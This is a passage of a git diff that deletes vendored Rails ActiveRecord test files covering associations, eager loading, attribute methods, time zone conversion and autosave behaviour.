-  def test_preload_nil_polymorphic_belongs_to
-    assert_nothing_raised do
-      taggings = Tagging.find(:all, :include => :taggable, :conditions => ['taggable_type IS NULL'])
-    end
-  end
-
-  def test_preload_polymorphic_has_many
-    posts               = Post.find(:all, :order => 'posts.id')
-    posts_with_taggings = Post.find(:all, :include => :taggings, :order => 'posts.id')
-    assert_equal posts.length, posts_with_taggings.length
-    posts.length.times do |i|
-      assert_equal posts[i].taggings.length, assert_no_queries { posts_with_taggings[i].taggings.length }
-    end
-  end
-
-  def test_belongs_to_shared_parent
-    comments = Comment.find(:all, :include => :post, :conditions => 'post_id = 1')
-    assert_no_queries do
-      assert_equal comments.first.post, comments[1].post
-    end
-  end
-
-  def test_has_many_through_include_uses_array_include_after_loaded
-    david = authors(:david)
-    david.categories.class # force load target
-
-    category = david.categories.first
-
-    assert_no_queries do
-      assert david.categories.loaded?
-      assert david.categories.include?(category)
-    end
-  end
-
-  def test_has_many_through_include_checks_if_record_exists_if_target_not_loaded
-    david = authors(:david)
-    category = david.categories.first
-
-    david.reload
-    assert ! david.categories.loaded?
-    assert_queries(1) do
-      assert david.categories.include?(category)
-    end
-    assert ! david.categories.loaded?
-  end
-  
-  def test_has_many_through_include_returns_false_for_non_matching_record_to_verify_scoping
-    david = authors(:david)
-    category = Category.create!(:name => 'Not Associated')
-
-    assert ! david.categories.loaded?
-    assert ! david.categories.include?(category)
-  end
-
-  def test_has_many_through_goes_through_all_sti_classes
-    sub_sti_post = SubStiPost.create!(:title => 'test', :body => 'test', :author_id => 1)
-    new_comment = sub_sti_post.comments.create(:body => 'test')
-
-    assert_equal [9, 10, new_comment.id], authors(:david).sti_post_comments.map(&:id).sort
-  end
-
-  private
-    # create dynamic Post models to allow different dependency options
-    def find_post_with_dependency(post_id, association, association_name, dependency)
-      class_name = "PostWith#{association.to_s.classify}#{dependency.to_s.classify}"
-      Post.find(post_id).update_attribute :type, class_name
-      klass = Object.const_set(class_name, Class.new(ActiveRecord::Base))
-      klass.set_table_name 'posts'
-      klass.send(association, association_name, :as => :taggable, :dependent => dependency)
-      klass.find(post_id)
-    end
-end
diff --git a/vendor/rails/activerecord/test/cases/associations_test.rb b/vendor/rails/activerecord/test/cases/associations_test.rb
deleted file mode 100644
index 048d042b..00000000
--- a/vendor/rails/activerecord/test/cases/associations_test.rb
+++ /dev/null
@@ -1,282 +0,0 @@
-require "cases/helper"
-require 'models/developer'
-require 'models/project'
-require 'models/company'
-require 'models/topic'
-require 'models/reply'
-require 'models/computer'
-require 'models/customer'
-require 'models/order'
-require 'models/categorization'
-require 'models/category'
-require 'models/post'
-require 'models/author'
-require 'models/comment'
-require 'models/tag'
-require 'models/tagging'
-require 'models/person'
-require 'models/reader'
-require 'models/parrot'
-require 'models/pirate'
-require 'models/treasure'
-require 'models/price_estimate'
-require 'models/club'
-require 'models/member'
-require 'models/membership'
-require 'models/sponsor'
-
-class AssociationsTest < ActiveRecord::TestCase
-  fixtures :accounts, :companies, :developers, :projects, :developers_projects,
-           :computers, :people, :readers
-
-  def test_include_with_order_works
-    assert_nothing_raised {Account.find(:first, :order => 'id', :include => :firm)}
-    assert_nothing_raised {Account.find(:first, :order => :id, :include => :firm)}
-  end
-
-  def test_bad_collection_keys
-    assert_raise(ArgumentError, 'ActiveRecord should have barked on bad collection keys') do
-      Class.new(ActiveRecord::Base).has_many(:wheels, :name => 'wheels')
-    end
-  end
-
-  def test_should_construct_new_finder_sql_after_create
-    person = Person.new :first_name => 'clark'
-    assert_equal [], person.readers.find(:all)
-    person.save!
-    reader = Reader.create! :person => person, :post => Post.new(:title => "foo", :body => "bar")
-    assert person.readers.find(reader.id)
-  end
-
-  def test_force_reload
-    firm = Firm.new("name" => "A New Firm, Inc")
-    firm.save
-    firm.clients.each {|c|} # forcing to load all clients
-    assert firm.clients.empty?, "New firm shouldn't have client objects"
-    assert_equal 0, firm.clients.size, "New firm should have 0 clients"
-
-    client = Client.new("name" => "TheClient.com", "firm_id" => firm.id)
-    client.save
-
-    assert firm.clients.empty?, "New firm should have cached no client objects"
-    assert_equal 0, firm.clients.size, "New firm should have cached 0 clients count"
-
-    assert !firm.clients(true).empty?, "New firm should have reloaded client objects"
-    assert_equal 1, firm.clients(true).size, "New firm should have reloaded clients count"
-  end
-  
-  def test_force_reload_is_uncached
-    firm = Firm.create!("name" => "A New Firm, Inc")
-    client = Client.create!("name" => "TheClient.com", :firm => firm)
-    ActiveRecord::Base.cache do
-      firm.clients.each {}
-      assert_queries(0) { assert_not_nil firm.clients.each {} }
-      assert_queries(1) { assert_not_nil firm.clients(true).each {} }
-    end
-  end
-  
-  def test_using_limitable_reflections_helper
-    using_limitable_reflections = lambda { |reflections| ActiveRecord::Base.send :using_limitable_reflections?, reflections }
-    belongs_to_reflections = [Tagging.reflect_on_association(:tag), Tagging.reflect_on_association(:super_tag)]
-    has_many_reflections = [Tag.reflect_on_association(:taggings), Developer.reflect_on_association(:projects)]
-    mixed_reflections = (belongs_to_reflections + has_many_reflections).uniq
-    assert using_limitable_reflections.call(belongs_to_reflections), "Belong to associations are limitable"
-    assert !using_limitable_reflections.call(has_many_reflections), "All has many style associations are not limitable"
-    assert !using_limitable_reflections.call(mixed_reflections), "No collection associations (has many style) should pass"
-  end
-
-  def test_storing_in_pstore
-    require "tmpdir"
-    store_filename = File.join(Dir.tmpdir, "ar-pstore-association-test")
-    File.delete(store_filename) if File.exist?(store_filename)
-    require "pstore"
-    apple = Firm.create("name" => "Apple")
-    natural = Client.new("name" => "Natural Company")
-    apple.clients << natural
-
-    db = PStore.new(store_filename)
-    db.transaction do
-      db["apple"] = apple
-    end
-
-    db = PStore.new(store_filename)
-    db.transaction do
-      assert_equal "Natural Company", db["apple"].clients.first.name
-    end
-  end
-end
-
-class AssociationProxyTest < ActiveRecord::TestCase
-  fixtures :authors, :posts, :categorizations, :categories, :developers, :projects, :developers_projects
-
-  def test_proxy_accessors
-    welcome = posts(:welcome)
-    assert_equal  welcome, welcome.author.proxy_owner
-    assert_equal  welcome.class.reflect_on_association(:author), welcome.author.proxy_reflection
-    welcome.author.class  # force load target
-    assert_equal  welcome.author, welcome.author.proxy_target
-
-    david = authors(:david)
-    assert_equal  david, david.posts.proxy_owner
-    assert_equal  david.class.reflect_on_association(:posts), david.posts.proxy_reflection
-    david.posts.class   # force load target
-    assert_equal  david.posts, david.posts.proxy_target
-
-    assert_equal  david, david.posts_with_extension.testing_proxy_owner
-    assert_equal  david.class.reflect_on_association(:posts_with_extension), david.posts_with_extension.testing_proxy_reflection
-    david.posts_with_extension.class   # force load target
-    assert_equal  david.posts_with_extension, david.posts_with_extension.testing_proxy_target
-  end
-
-  def test_push_does_not_load_target
-    david = authors(:david)
-
-    david.posts << (post = Post.new(:title => "New on Edge", :body => "More cool stuff!"))
-    assert !david.posts.loaded?
-    assert david.posts.include?(post)
-  end
-
-  def test_push_has_many_through_does_not_load_target
-    david = authors(:david)
-
-    david.categories << categories(:technology)
-    assert !david.categories.loaded?
-    assert david.categories.include?(categories(:technology))
-  end
-
-  def test_push_followed_by_save_does_not_load_target
-    david = authors(:david)
-
-    david.posts << (post = Post.new(:title => "New on Edge", :body => "More cool stuff!"))
-    assert !david.posts.loaded?
-    david.save
-    assert !david.posts.loaded?
-    assert david.posts.include?(post)
-  end
-
-  def test_push_does_not_lose_additions_to_new_record
-    josh = Author.new(:name => "Josh")
-    josh.posts << Post.new(:title => "New on Edge", :body => "More cool stuff!")
-    assert josh.posts.loaded?
-    assert_equal 1, josh.posts.size
-  end
-
-  def test_save_on_parent_does_not_load_target
-    david = developers(:david)
-
-    assert !david.projects.loaded?
-    david.update_attribute(:created_at, Time.now)
-    assert !david.projects.loaded?
-  end
-
-  def test_inspect_does_not_reload_a_not_yet_loaded_target
-    andreas = Developer.new :name => 'Andreas', :log => 'new developer added'
-    assert !andreas.audit_logs.loaded?
-    assert_match(/message: "new developer added"/, andreas.audit_logs.inspect)
-  end
-
-  def test_save_on_parent_saves_children
-    developer = Developer.create :name => "Bryan", :salary => 50_000
-    assert_equal 1, developer.reload.audit_logs.size
-  end
-
-  def test_create_via_association_with_block
-    post = authors(:david).posts.create(:title => "New on Edge") {|p| p.body = "More cool stuff!"}
-    assert_equal post.title, "New on Edge"
-    assert_equal post.body, "More cool stuff!"
-  end
-
-  def test_create_with_bang_via_association_with_block
-    post = authors(:david).posts.create!(:title => "New on Edge") {|p| p.body = "More cool stuff!"}
-    assert_equal post.title, "New on Edge"
-    assert_equal post.body, "More cool stuff!"
-  end
-
-  def test_failed_reload_returns_nil
-    p = setup_dangling_association
-    assert_nil p.author.reload
-  end
-
-  def test_failed_reset_returns_nil
-    p = setup_dangling_association
-    assert_nil p.author.reset
-  end
-
-  def test_reload_returns_assocition
-    david = developers(:david)
-    assert_nothing_raised do
-      assert_equal david.projects, david.projects.reload.reload
-    end
-  end
-
-  def setup_dangling_association
-    josh = Author.create(:name => "Josh")
-    p = Post.create(:title => "New on Edge", :body => "More cool stuff!", :author => josh)
-    josh.destroy
-    p
-  end
-end
-
-class OverridingAssociationsTest < ActiveRecord::TestCase
-  class Person < ActiveRecord::Base; end
-  class DifferentPerson < ActiveRecord::Base; end
-
-  class PeopleList < ActiveRecord::Base
-    has_and_belongs_to_many :has_and_belongs_to_many, :before_add => :enlist
-    has_many :has_many, :before_add => :enlist
-    belongs_to :belongs_to
-    has_one :has_one
-  end
-
-  class DifferentPeopleList < PeopleList
-    # Different association with the same name, callbacks should be omitted here.
-    has_and_belongs_to_many :has_and_belongs_to_many, :class_name => 'DifferentPerson'
-    has_many :has_many, :class_name => 'DifferentPerson'
-    belongs_to :belongs_to, :class_name => 'DifferentPerson'
-    has_one :has_one, :class_name => 'DifferentPerson'
-  end
-
-  def test_habtm_association_redefinition_callbacks_should_differ_and_not_inherited
-    # redeclared association on AR descendant should not inherit callbacks from superclass
-    callbacks = PeopleList.read_inheritable_attribute(:before_add_for_has_and_belongs_to_many)
-    assert_equal([:enlist], callbacks)
-    callbacks = DifferentPeopleList.read_inheritable_attribute(:before_add_for_has_and_belongs_to_many)
-    assert_equal([], callbacks)
-  end
-
-  def test_has_many_association_redefinition_callbacks_should_differ_and_not_inherited
-    # redeclared association on AR descendant should not inherit callbacks from superclass
-    callbacks = PeopleList.read_inheritable_attribute(:before_add_for_has_many)
-    assert_equal([:enlist], callbacks)
-    callbacks = DifferentPeopleList.read_inheritable_attribute(:before_add_for_has_many)
-    assert_equal([], callbacks)
-  end
-
-  def test_habtm_association_redefinition_reflections_should_differ_and_not_inherited
-    assert_not_equal(
-      PeopleList.reflect_on_association(:has_and_belongs_to_many),
-      DifferentPeopleList.reflect_on_association(:has_and_belongs_to_many)
-    )
-  end
-
-  def test_has_many_association_redefinition_reflections_should_differ_and_not_inherited
-    assert_not_equal(
-      PeopleList.reflect_on_association(:has_many),
-      DifferentPeopleList.reflect_on_association(:has_many)
-    )
-  end
-
-  def test_belongs_to_association_redefinition_reflections_should_differ_and_not_inherited
-    assert_not_equal(
-      PeopleList.reflect_on_association(:belongs_to),
-      DifferentPeopleList.reflect_on_association(:belongs_to)
-    )
-  end
-
-  def test_has_one_association_redefinition_reflections_should_differ_and_not_inherited
-    assert_not_equal(
-      PeopleList.reflect_on_association(:has_one),
-      DifferentPeopleList.reflect_on_association(:has_one)
-    )
-  end
-end
diff --git a/vendor/rails/activerecord/test/cases/attribute_methods_test.rb b/vendor/rails/activerecord/test/cases/attribute_methods_test.rb
deleted file mode 100644
index 17ed3024..00000000
--- a/vendor/rails/activerecord/test/cases/attribute_methods_test.rb
+++ /dev/null
@@ -1,305 +0,0 @@
-require "cases/helper"
-require 'models/topic'
-require 'models/minimalistic'
-
-class AttributeMethodsTest < ActiveRecord::TestCase
-  fixtures :topics
-  def setup
-    @old_suffixes = ActiveRecord::Base.send(:attribute_method_suffixes).dup
-    @target = Class.new(ActiveRecord::Base)
-    @target.table_name = 'topics'
-  end
-
-  def teardown
-    ActiveRecord::Base.send(:attribute_method_suffixes).clear
-    ActiveRecord::Base.attribute_method_suffix *@old_suffixes
-  end
-
-  def test_match_attribute_method_query_returns_match_data
-    assert_not_nil md = @target.match_attribute_method?('title=')
-    assert_equal 'title', md.pre_match
-    assert_equal ['='], md.captures
-
-    %w(_hello_world ist! _maybe?).each do |suffix|
-      @target.class_eval "def attribute#{suffix}(*args) args end"
-      @target.attribute_method_suffix suffix
-
-      assert_not_nil md = @target.match_attribute_method?("title#{suffix}")
-      assert_equal 'title', md.pre_match
-      assert_equal [suffix], md.captures
-    end
-  end
-
-  def test_declared_attribute_method_affects_respond_to_and_method_missing
-    topic = @target.new(:title => 'Budget')
-    assert topic.respond_to?('title')
-    assert_equal 'Budget', topic.title
-    assert !topic.respond_to?('title_hello_world')
-    assert_raise(NoMethodError) { topic.title_hello_world }
-
-    %w(_hello_world _it! _candidate= able?).each do |suffix|
-      @target.class_eval "def attribute#{suffix}(*args) args end"
-      @target.attribute_method_suffix suffix
-
-      meth = "title#{suffix}"
-      assert topic.respond_to?(meth)
-      assert_equal ['title'], topic.send(meth)
-      assert_equal ['title', 'a'], topic.send(meth, 'a')
-      assert_equal ['title', 1, 2, 3], topic.send(meth, 1, 2, 3)
-    end
-  end
-
-  def test_should_unserialize_attributes_for_frozen_records
-    myobj = {:value1 => :value2}
-    topic = Topic.create("content" => myobj)
-    topic.freeze
-    assert_equal myobj, topic.content
-  end
-
-  def test_typecast_attribute_from_select_to_false
-    topic = Topic.create(:title => 'Budget')
-    topic = Topic.find(:first, :select => "topics.*, 1=2 as is_test")
-    assert !topic.is_test?
-  end
-
-  def test_typecast_attribute_from_select_to_true
-    topic = Topic.create(:title => 'Budget')
-    topic = Topic.find(:first, :select => "topics.*, 2=2 as is_test")
-    assert topic.is_test?
-  end
-
-  def test_kernel_methods_not_implemented_in_activerecord
-    %w(test name display y).each do |method|
-      assert !ActiveRecord::Base.instance_method_already_implemented?(method), "##{method} is defined"
-    end
-  end
-
-  def test_primary_key_implemented
-    assert Class.new(ActiveRecord::Base).instance_method_already_implemented?('id')
-  end
-
-  def test_defined_kernel_methods_implemented_in_model
-    %w(test name display y).each do |method|
-      klass = Class.new ActiveRecord::Base
-      klass.class_eval "def #{method}() 'defined #{method}' end"
-      assert klass.instance_method_already_implemented?(method), "##{method} is not defined"
-    end
-  end
-
-  def test_defined_kernel_methods_implemented_in_model_abstract_subclass
-    %w(test name display y).each do |method|
-      abstract = Class.new ActiveRecord::Base
-      abstract.class_eval "def #{method}() 'defined #{method}' end"
-      abstract.abstract_class = true
-      klass = Class.new abstract
-      assert klass.instance_method_already_implemented?(method), "##{method} is not defined"
-    end
-  end
-
-  def test_raises_dangerous_attribute_error_when_defining_activerecord_method_in_model
-    %w(save create_or_update).each do |method|
-      klass = Class.new ActiveRecord::Base
-      klass.class_eval "def #{method}() 'defined #{method}' end"
-      assert_raise ActiveRecord::DangerousAttributeError do
-        klass.instance_method_already_implemented?(method)
-      end
-    end
-  end
-
-  def test_only_time_related_columns_are_meant_to_be_cached_by_default
-    expected = %w(datetime timestamp time date).sort
-    assert_equal expected, ActiveRecord::Base.attribute_types_cached_by_default.map(&:to_s).sort
-  end
-
-  def test_declaring_attributes_as_cached_adds_them_to_the_attributes_cached_by_default
-    default_attributes = Topic.cached_attributes
-    Topic.cache_attributes :replies_count
-    expected = default_attributes + ["replies_count"]
-    assert_equal expected.sort, Topic.cached_attributes.sort
-    Topic.instance_variable_set "@cached_attributes", nil
-  end
-
-  def test_time_related_columns_are_actually_cached
-    column_types = %w(datetime timestamp time date).map(&:to_sym)
-    column_names = Topic.columns.select{|c| column_types.include?(c.type) }.map(&:name)
-
-    assert_equal column_names.sort, Topic.cached_attributes.sort
-    assert_equal time_related_columns_on_topic.sort, Topic.cached_attributes.sort
-  end
-
-  def test_accessing_cached_attributes_caches_the_converted_values_and_nothing_else
-    t = topics(:first)
-    cache = t.instance_variable_get "@attributes_cache"
-
-    assert_not_nil cache
-    assert cache.empty?
-
-    all_columns = Topic.columns.map(&:name)
-    cached_columns = time_related_columns_on_topic
-    uncached_columns =  all_columns - cached_columns
-
-    all_columns.each do |attr_name|
-      attribute_gets_cached = Topic.cache_attribute?(attr_name)
-      val = t.send attr_name unless attr_name == "type"
-      if attribute_gets_cached
-        assert cached_columns.include?(attr_name)
-        assert_equal val, cache[attr_name]
-      else
-        assert uncached_columns.include?(attr_name)
-        assert !cache.include?(attr_name)
-      end
-    end
-  end
-
-  def test_time_attributes_are_retrieved_in_current_time_zone
-    in_time_zone "Pacific Time (US & Canada)" do
-      utc_time = Time.utc(2008, 1, 1)
-      record   = @target.new
-      record[:written_on] = utc_time
-      assert_equal utc_time, record.written_on # record.written on is equal to (i.e., simultaneous with) utc_time
-      assert_kind_of ActiveSupport::TimeWithZone, record.written_on # but is a TimeWithZone
-      assert_equal ActiveSupport::TimeZone["Pacific Time (US & Canada)"], record.written_on.time_zone # and is in the current Time.zone
-      assert_equal Time.utc(2007, 12, 31, 16), record.written_on.time # and represents time values adjusted accordingly
-    end
-  end
-
-  def test_setting_time_zone_aware_attribute_to_utc
-    in_time_zone "Pacific Time (US & Canada)" do
-      utc_time = Time.utc(2008, 1, 1)
-      record   = @target.new
-      record.written_on = utc_time
-      assert_equal utc_time, record.written_on
-      assert_equal ActiveSupport::TimeZone["Pacific Time (US & Canada)"], record.written_on.time_zone
-      assert_equal Time.utc(2007, 12, 31, 16), record.written_on.time
-    end
-  end
-
-  def test_setting_time_zone_aware_attribute_in_other_time_zone
-    utc_time = Time.utc(2008, 1, 1)
-    cst_time = utc_time.in_time_zone("Central Time (US & Canada)")
-    in_time_zone "Pacific Time (US & Canada)" do
-      record   = @target.new
-      record.written_on = cst_time
-      assert_equal utc_time, record.written_on
-      assert_equal ActiveSupport::TimeZone["Pacific Time (US & Canada)"], record.written_on.time_zone
-      assert_equal Time.utc(2007, 12, 31, 16), record.written_on.time
-    end
-  end
-
-  def test_setting_time_zone_aware_attribute_with_string
-    utc_time = Time.utc(2008, 1, 1)
-    (-11..13).each do |timezone_offset|
-      time_string = utc_time.in_time_zone(timezone_offset).to_s
-      in_time_zone "Pacific Time (US & Canada)" do
-        record   = @target.new
-        record.written_on = time_string
-        assert_equal Time.zone.parse(time_string), record.written_on
-        assert_equal ActiveSupport::TimeZone["Pacific Time (US & Canada)"], record.written_on.time_zone
-        assert_equal Time.utc(2007, 12, 31, 16), record.written_on.time
-      end
-    end
-  end
-
-  def test_setting_time_zone_aware_attribute_to_blank_string_returns_nil
-    in_time_zone "Pacific Time (US & Canada)" do
-      record   = @target.new
-      record.written_on = ' '
-      assert_nil record.written_on
-    end
-  end
-
-  def test_setting_time_zone_aware_attribute_interprets_time_zone_unaware_string_in_time_zone
-    time_string = 'Tue Jan 01 00:00:00 2008'
-    (-11..13).each do |timezone_offset|
-      in_time_zone timezone_offset do
-        record   = @target.new
-        record.written_on = time_string
-        assert_equal Time.zone.parse(time_string), record.written_on
-        assert_equal ActiveSupport::TimeZone[timezone_offset], record.written_on.time_zone
-        assert_equal Time.utc(2008, 1, 1), record.written_on.time
-      end
-    end
-  end
-
-  def test_setting_time_zone_aware_attribute_in_current_time_zone
-    utc_time = Time.utc(2008, 1, 1)
-    in_time_zone "Pacific Time (US & Canada)" do
-      record   = @target.new
-      record.written_on = utc_time.in_time_zone
-      assert_equal utc_time, record.written_on
-      assert_equal ActiveSupport::TimeZone["Pacific Time (US & Canada)"], record.written_on.time_zone
-      assert_equal Time.utc(2007, 12, 31, 16), record.written_on.time
-    end
-  end
-
-  def test_setting_time_zone_conversion_for_attributes_should_write_value_on_class_variable
-    Topic.skip_time_zone_conversion_for_attributes = [:field_a]
-    Minimalistic.skip_time_zone_conversion_for_attributes = [:field_b]
-    
-    assert_equal [:field_a], Topic.skip_time_zone_conversion_for_attributes 
-    assert_equal [:field_b], Minimalistic.skip_time_zone_conversion_for_attributes 
-  end
-
-  def test_read_attributes_respect_access_control
-    privatize("title")
-
-    topic = @target.new(:title => "The pros and cons of programming naked.")
-    assert !topic.respond_to?(:title)
-    exception = assert_raise(NoMethodError) { topic.title }
-    assert_equal "Attempt to call private method", exception.message
-    assert_equal "I'm private", topic.send(:title)
-  end
-
-  def test_write_attributes_respect_access_control
-    privatize("title=(value)")
-
-    topic = @target.new
-    assert !topic.respond_to?(:title=)
-    exception = assert_raise(NoMethodError) { topic.title = "Pants"}
-    assert_equal "Attempt to call private method", exception.message
-    topic.send(:title=, "Very large pants")
-  end
-
-  def test_question_attributes_respect_access_control
-    privatize("title?")
-
-    topic = @target.new(:title => "Isaac Newton's pants")
-    assert !topic.respond_to?(:title?)
-    exception = assert_raise(NoMethodError) { topic.title? }
-    assert_equal "Attempt to call private method", exception.message
-    assert topic.send(:title?)
-  end
-
-  def test_bulk_update_respects_access_control
-    privatize("title=(value)")
-
-    assert_raise(ActiveRecord::UnknownAttributeError) { topic = @target.new(:title => "Rants about pants") }
-    assert_raise(ActiveRecord::UnknownAttributeError) { @target.new.attributes = { :title => "Ants in pants" } }
-  end
-
-  private
-  def time_related_columns_on_topic
-    Topic.columns.select{|c| [:time, :date, :datetime, :timestamp].include?(c.type)}.map(&:name)
-  end
-
-  def in_time_zone(zone)
-    old_zone  = Time.zone
-    old_tz    = ActiveRecord::Base.time_zone_aware_attributes
-
-    Time.zone = zone ? ActiveSupport::TimeZone[zone] : nil
-    ActiveRecord::Base.time_zone_aware_attributes = !zone.nil?
-    yield
-  ensure
-    Time.zone = old_zone
-    ActiveRecord::Base.time_zone_aware_attributes = old_tz
-  end
-
-  def privatize(method_signature)
-    @target.class_eval <<-private_method
-      private
-      def #{method_signature}
-        "I'm private"
-      end
-    private_method
-  end
-end
diff --git a/vendor/rails/activerecord/test/cases/autosave_association_test.rb b/vendor/rails/activerecord/test/cases/autosave_association_test.rb
deleted file mode 100644
index adbc608d..00000000
--- a/vendor/rails/activerecord/test/cases/autosave_association_test.rb
+++ /dev/null
@@ -1,1218 +0,0 @@
-require 'cases/helper'
-require 'models/bird'
-require 'models/company'
-require 'models/customer'
-require 'models/developer'
-require 'models/invoice'
-require 'models/line_item'
-require 'models/order'
-require 'models/parrot'
-require 'models/person'
-require 'models/pirate'
-require 'models/post'
-require 'models/reader'
-require 'models/ship'
-require 'models/ship_part'
-require 'models/treasure'
-
-class TestAutosaveAssociationsInGeneral < ActiveRecord::TestCase
-  def test_autosave_should_be_a_valid_option_for_has_one
-    assert base.valid_keys_for_has_one_association.include?(:autosave)
-  end
-
-  def test_autosave_should_be_a_valid_option_for_belongs_to
-    assert base.valid_keys_for_belongs_to_association.include?(:autosave)
-  end
-
-  def test_autosave_should_be_a_valid_option_for_has_many
-    assert base.valid_keys_for_has_many_association.include?(:autosave)
-  end
-
-  def test_autosave_should_be_a_valid_option_for_has_and_belongs_to_many
-    assert base.valid_keys_for_has_and_belongs_to_many_association.include?(:autosave)
-  end
-
-  def test_should_not_add_the_same_callbacks_multiple_times_for_has_one
-    assert_no_difference_when_adding_callbacks_twice_for Pirate, :ship
-  end
-
-  def test_should_not_add_the_same_callbacks_multiple_times_for_belongs_to
-    assert_no_difference_when_adding_callbacks_twice_for Ship, :pirate
-  end
-
-  def test_should_not_add_the_same_callbacks_multiple_times_for_has_many
-    assert_no_difference_when_adding_callbacks_twice_for Pirate, :birds
-  end
-
-  def test_should_not_add_the_same_callbacks_multiple_times_for_has_and_belongs_to_many
-    assert_no_difference_when_adding_callbacks_twice_for Pirate, :parrots
-  end
-
-  private
-
-  def base
-    ActiveRecord::Base
-  end
-
-  def assert_no_difference_when_adding_callbacks_twice_for(model, association_name)
-    reflection = model.reflect_on_association(association_name)
-    assert_no_difference "callbacks_for_model(#{model.name}).length" do
-      model.send(:add_autosave_association_callbacks, reflection)
-    end
-  end
-
-  def callbacks_for_model(model)
-    model.instance_variables.grep(/_callbacks$/).map do |ivar|
-      model.instance_variable_get(ivar)
-    end.flatten
-  end
-end
-
-class TestDefaultAutosaveAssociationOnAHasOneAssociation < ActiveRecord::TestCase
-  def test_should_save_parent_but_not_invalid_child
-    firm = Firm.new(:name => 'GlobalMegaCorp')
-    assert firm.valid?
-
-    firm.build_account_using_primary_key
-    assert !firm.build_account_using_primary_key.valid?
-
-    assert firm.save
-    assert firm.account_using_primary_key.new_record?
-  end
-
-  def test_save_fails_for_invalid_has_one
-    firm = Firm.find(:first)
-    assert firm.valid?
-
-    firm.account = Account.new
-
-    assert !firm.account.valid?
-    assert !firm.valid?
-    assert !firm.save
-    assert_equal "is invalid", firm.errors.on("account")
-  end
-
-  def test_save_succeeds_for_invalid_has_one_with_validate_false
-    firm = Firm.find(:first)
-    assert firm.valid?
-
-    firm.unvalidated_account = Account.new
-
-    assert !firm.unvalidated_account.valid?
-    assert firm.valid?
-    assert firm.save
-  end
-
-  def test_build_before_child_saved
-    firm = Firm.find(1)
-
-    account = firm.account.build("credit_limit" => 1000)
-    assert_equal account, firm.account
-    assert account.new_record?
-    assert firm.save
-    assert_equal account, firm.account
-    assert !account.new_record?
-  end
-
-  def test_build_before_either_saved
-    firm = Firm.new("name" => "GlobalMegaCorp")
-
-    firm.account = account = Account.new("credit_limit" => 1000)
-    assert_equal account, firm.account
-    assert account.new_record?
-    assert firm.save
-    assert_equal account, firm.account
-    assert !account.new_record?
-  end
-
-  def test_assignment_before_parent_saved
-    firm = Firm.new("name" => "GlobalMegaCorp")
-    firm.account = a = Account.find(1)
-    assert firm.new_record?
-    assert_equal a, firm.account
-    assert firm.save
-    assert_equal a, firm.account
-    assert_equal a, firm.account(true)
-  end
-
-  def test_assignment_before_either_saved
-    firm = Firm.new("name" => "GlobalMegaCorp")
-    firm.account = a = Account.new("credit_limit" => 1000)
-    assert firm.new_record?
-    assert a.new_record?
-    assert_equal a, firm.account
-    assert firm.save
-    assert !firm.new_record?
-    assert !a.new_record?
-    assert_equal a, firm.account
-    assert_equal a, firm.account(true)
-  end
-
-  def test_not_resaved_when_unchanged
-    firm = Firm.find(:first, :include => :account)
-    firm.name += '-changed'
-    assert_queries(1) { firm.save! }
-
-    firm = Firm.find(:first)
-    firm.account = Account.find(:first)
-    assert_queries(Firm.partial_updates? ? 0 : 1) { firm.save! }
-
-    firm = Firm.find(:first).clone
-    firm.account = Account.find(:first)
-    assert_queries(2) { firm.save! }
-
-    firm = Firm.find(:first).clone
-    firm.account = Account.find(:first).clone
-    assert_queries(2) { firm.save! }
-  end
-end
-
-class TestDefaultAutosaveAssociationOnABelongsToAssociation < ActiveRecord::TestCase
-  def test_should_save_parent_but_not_invalid_child
-    client = Client.new(:name => 'Joe (the Plumber)')
-    assert client.valid?
-
-    client.build_firm
-    assert !client.firm.valid?
-
-    assert client.save
-    assert client.firm.new_record?
-  end
-
-  def test_save_fails_for_invalid_belongs_to
-    assert log = AuditLog.create(:developer_id => 0, :message => "")
-
-    log.developer = Developer.new
-    assert !log.developer.valid?
-    assert !log.valid?
-    assert !log.save
-    assert_equal "is invalid", log.errors.on("developer")
-  end
-
-  def test_save_succeeds_for_invalid_belongs_to_with_validate_false
-    assert log = AuditLog.create(:developer_id => 0, :message=> "")
-
-    log.unvalidated_developer = Developer.new
-    assert !log.unvalidated_developer.valid?
-    assert log.valid?
-    assert log.save
-  end
-
-  def test_assignment_before_parent_saved
-    client = Client.find(:first)
-    apple = Firm.new("name" => "Apple")
-    client.firm = apple
-    assert_equal apple, client.firm
-    assert apple.new_record?
-    assert client.save
-    assert apple.save
-    assert !apple.new_record?
-    assert_equal apple, client.firm
-    assert_equal apple, client.firm(true)
-  end
-
-  def test_assignment_before_either_saved
-    final_cut = Client.new("name" => "Final Cut")
-    apple = Firm.new("name" => "Apple")
-    final_cut.firm = apple
-    assert final_cut.new_record?
-    assert apple.new_record?
-    assert final_cut.save
-    assert !final_cut.new_record?
-    assert !apple.new_record?
-    assert_equal apple, final_cut.firm
-    assert_equal apple, final_cut.firm(true)
-  end
-
-  def test_store_two_association_with_one_save
-    num_orders = Order.count
-    num_customers = Customer.count
-    order = Order.new
-
-    customer1 = order.billing = Customer.new
-    customer2 = order.shipping = Customer.new
-    assert order.save
-    assert_equal customer1, order.billing
-    assert_equal customer2, order.shipping
-
-    order.reload
-
-    assert_equal customer1, order.billing
-    assert_equal customer2, order.shipping
-
-    assert_equal num_orders +1, Order.count
-    assert_equal num_customers +2, Customer.count
-  end
-
-  def test_store_association_in_two_relations_with_one_save
-    num_orders = Order.count
-    num_customers = Customer.count
-    order = Order.new
-
-    customer = order.billing = order.shipping = Customer.new
-    assert order.save
-    assert_equal customer, order.billing
-    assert_equal customer, order.shipping
-
-    order.reload
-
-    assert_equal customer, order.billing
-    assert_equal customer, order.shipping
-
-    assert_equal num_orders +1, Order.count
-    assert_equal num_customers +1, Customer.count
-  end
-
-  def test_store_association_in_two_relations_with_one_save_in_existing_object
-    num_orders = Order.count
-    num_customers = Customer.count
-    order = Order.create
-
-    customer = order.billing = order.shipping = Customer.new
-    assert order.save
-    assert_equal customer, order.billing
-    assert_equal customer, order.shipping
-
-    order.reload
-
-    assert_equal customer, order.billing
-    assert_equal customer, order.shipping
-
-    assert_equal num_orders +1, Order.count
-    assert_equal num_customers +1, Customer.count
-  end
-
-  def test_store_association_in_two_relations_with_one_save_in_existing_object_with_values
-    num_orders = Order.count
-    num_customers = Customer.count
-    order = Order.create
-
-    customer = order.billing = order.shipping = Customer.new
-    assert order.save
-    assert_equal customer, order.billing
-    assert_equal customer, order.shipping
-
-    order.reload
-
-    customer = order.billing = order.shipping = Customer.new
-
-    assert order.save
-    order.reload
-
-    assert_equal customer, order.billing
-    assert_equal customer, order.shipping
-
-    assert_equal num_orders +1, Order.count
-    assert_equal num_customers +2, Customer.count
-  end
-end
-
